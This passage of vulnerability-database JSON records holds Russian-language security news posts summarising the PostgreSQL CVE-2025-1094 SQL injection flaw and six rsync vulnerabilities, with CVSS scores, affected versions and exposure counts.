\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0447\u0435\u0440\u0435\u0437 CVE-2025-1094, \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0438\u0448\u043b\u0438 \u043a \u0432\u044b\u0432\u043e\u0434\u0443, \u0447\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0435\u0436\u0434\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 SQL, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0438 \u0434\u0430\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0447\u0435\u0440\u0435\u0437\u00a0\u043c\u0435\u0442\u0430\u043a\u043e\u043c\u0430\u043d\u0434\u0443 psql.\n\n\u041f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0445 \u0442\u0435\u0441\u0442\u043e\u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0443\u00a0id\u00a0\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0447\u0442\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\u00a0\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 PostgreSQL \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u0440\u043e\u0447\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043e PostgreSQL 17.3, 16.7, 15.11, 14.16 \u0438 13.19 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u0440\u0438\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e 0-day, \u043d\u043e \u0442\u0435\u043c \u043d\u0435\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 Rapid7.\n\nRapid7 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043c\u043e\u0434\u0443\u043b\u044c Metasploit, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f, \u0441\u0430\u043c\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 - \u043f\u043e\u043c\u0438\u043c\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u043a\u0440\u0443\u043f\u043d\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00bb, \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u043e\u0446\u0435\u043d\u043a\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0449\u0435\u0440\u0431\u0430 \u0432\u043b\u0430\u0441\u0442\u0438 \u0421\u0428\u0410 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442.\n\n\u0418 \u0432\u0440\u044f\u0434 \u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u043e\u044e\u0442, \u043d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2025-02-14T11:30:06.000000Z"}, {"uuid": "eec5f478-6683-4180-81dd-d3d718d75541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e 